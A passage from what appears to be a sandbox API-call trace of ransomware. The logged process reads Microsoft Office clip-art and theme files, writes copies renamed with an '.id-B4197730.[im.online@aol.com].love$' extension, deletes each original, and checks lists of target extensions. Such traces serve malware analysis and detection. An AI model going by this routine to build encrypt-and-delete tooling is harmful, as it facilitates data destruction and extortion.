lpString2=".love$") returned 1 [0249.151] lstrlenW (lpString="WNTER_01.MID") returned 12 [0249.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.240] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=6915) returned 1 [0250.240] CloseHandle (hObject=0x450) returned 1 [0250.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0250.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.241] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.241] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0250.242] GetLastError () returned 0x0 [0250.242] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0250.246] WriteFile (in: hFile=0x488, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0250.247] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.247] WriteFile (in: hFile=0x488, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0250.247] SetEndOfFile (hFile=0x488) returned 1 [0250.248] CloseHandle (hObject=0x488) returned 1 [0250.248] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.248] SetEndOfFile (hFile=0x450) returned 1 [0250.251] CloseHandle (hObject=0x450) returned 1 [0250.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0250.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.253] lstrlenW (lpString=".doc") returned 4 [0250.253] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.253] lstrlenW (lpString=".docx") returned 5 [0250.253] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.253] lstrlenW (lpString=".pdf") returned 4 [0250.253] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.253] lstrlenW (lpString=".xls") returned 4 [0250.253] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.253] lstrlenW (lpString=".xlsx") returned 5 [0250.254] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.254] lstrlenW (lpString=".ppt") returned 4 [0250.254] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.254] lstrlenW (lpString=".zip") returned 4 [0250.254] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.254] lstrlenW (lpString=".rar") returned 4 [0250.254] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.254] lstrlenW (lpString=".bz2") returned 4 [0250.254] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.254] lstrlenW (lpString=".7z") returned 3 [0250.254] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.254] lstrlenW (lpString=".dbf") returned 4 [0250.254] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.254] lstrlenW (lpString=".1cd") returned 4 [0250.254] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.254] lstrlenW (lpString=".jpg") returned 4 [0250.254] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.255] lstrlenW (lpString=".doc") returned 4 [0250.255] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.255] lstrlenW (lpString=".docx") returned 5 [0250.255] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.255] lstrlenW (lpString=".pdf") returned 4 [0250.255] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.255] lstrlenW (lpString=".xls") returned 4 [0250.255] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.255] lstrlenW (lpString=".xlsx") returned 5 [0250.255] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.255] lstrlenW (lpString=".ppt") returned 4 [0250.255] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.255] lstrlenW (lpString=".zip") returned 4 [0250.255] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.255] lstrlenW (lpString=".rar") returned 4 [0250.255] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.255] lstrlenW (lpString=".bz2") returned 4 [0250.255] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.255] lstrlenW (lpString=".7z") returned 3 [0250.255] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.255] lstrlenW (lpString=".dbf") returned 4 [0250.255] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.255] lstrlenW (lpString=".1cd") returned 4 [0250.256] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0250.256] lstrlenW (lpString=".jpg") returned 4 [0250.256] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.256] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0250.256] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0250.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0250.286] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=45435) returned 1 [0250.286] CloseHandle (hObject=0x488) returned 1 [0250.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0250.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0250.287] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.287] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0250.288] GetLastError () returned 0x0 [0250.288] ReadFile (in: hFile=0x488, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xb17b, lpOverlapped=0x0) returned 1 [0250.295] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xb180, lpOverlapped=0x0) returned 1 [0250.297] ReadFile (in: hFile=0x488, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.297] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf8, lpOverlapped=0x0) returned 1 [0250.297] SetEndOfFile (hFile=0x540) returned 1 [0250.297] CloseHandle (hObject=0x540) returned 1 [0250.298] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.298] SetEndOfFile (hFile=0x488) returned 1 [0250.306] CloseHandle (hObject=0x488) returned 1 [0250.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.308] lstrlenW (lpString=".doc") returned 4 [0250.308] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.308] lstrlenW (lpString=".docx") returned 5 [0250.308] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.308] lstrlenW (lpString=".pdf") returned 4 [0250.308] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.308] lstrlenW (lpString=".xls") returned 4 [0250.308] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.308] lstrlenW (lpString=".xlsx") returned 5 [0250.308] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.309] lstrlenW (lpString=".ppt") returned 4 [0250.309] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString=".zip") returned 4 [0250.309] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString=".rar") returned 4 [0250.309] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString=".bz2") returned 4 [0250.309] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString=".7z") returned 3 [0250.309] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString=".dbf") returned 4 [0250.309] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString=".1cd") returned 4 [0250.309] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString=".jpg") returned 4 [0250.309] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.309] lstrlenW (lpString=".doc") returned 4 [0250.309] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.309] lstrlenW (lpString=".docx") returned 5 [0250.310] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.310] lstrlenW (lpString=".pdf") returned 4 [0250.310] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString=".xls") returned 4 [0250.310] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString=".xlsx") returned 5 [0250.310] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.310] lstrlenW (lpString=".ppt") returned 4 [0250.310] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.310] lstrlenW (lpString=".zip") returned 4 [0250.310] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString=".rar") returned 4 [0250.310] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString=".bz2") returned 4 [0250.310] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString=".7z") returned 3 [0250.310] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.310] lstrlenW (lpString=".dbf") returned 4 [0250.310] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.310] lstrlenW (lpString=".1cd") returned 4 [0250.310] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0250.310] lstrlenW (lpString=".jpg") returned 4 [0250.310] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.311] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0250.311] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0250.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0250.473] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=56944) returned 1 [0250.473] CloseHandle (hObject=0x4e4) returned 1 [0250.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0250.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.765] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.765] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.766] GetLastError () returned 0x0 [0250.766] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xde70, lpOverlapped=0x0) returned 1 [0250.771] WriteFile (in: hFile=0x450, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xde80, lpOverlapped=0x0) returned 1 [0250.772] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.773] WriteFile (in: hFile=0x450, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf2, lpOverlapped=0x0) returned 1 [0250.773] SetEndOfFile (hFile=0x450) returned 1 [0250.773] CloseHandle (hObject=0x450) returned 1 [0250.773] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.773] SetEndOfFile (hFile=0x45c) returned 1 [0250.776] CloseHandle (hObject=0x45c) returned 1 [0250.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString=".doc") returned 4 [0250.778] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".docx") returned 5 [0250.778] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.778] lstrlenW (lpString=".pdf") returned 4 [0250.778] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".xls") returned 4 [0250.778] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".xlsx") returned 5 [0250.778] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.778] lstrlenW (lpString=".ppt") returned 4 [0250.778] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString=".zip") returned 4 [0250.778] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".rar") returned 4 [0250.778] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".bz2") returned 4 [0250.778] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString=".7z") returned 3 [0250.778] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString=".dbf") returned 4 [0250.778] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString=".1cd") returned 4 [0250.778] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.778] lstrlenW (lpString=".jpg") returned 4 [0250.778] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString=".doc") returned 4 [0250.779] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".docx") returned 5 [0250.779] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.779] lstrlenW (lpString=".pdf") returned 4 [0250.779] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".xls") returned 4 [0250.779] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".xlsx") returned 5 [0250.779] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.779] lstrlenW (lpString=".ppt") returned 4 [0250.779] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString=".zip") returned 4 [0250.779] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".rar") returned 4 [0250.779] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".bz2") returned 4 [0250.779] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString=".7z") returned 3 [0250.779] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString=".dbf") returned 4 [0250.779] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString=".1cd") returned 4 [0250.779] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0250.779] lstrlenW (lpString=".jpg") returned 4 [0250.779] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.780] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.780] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0250.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 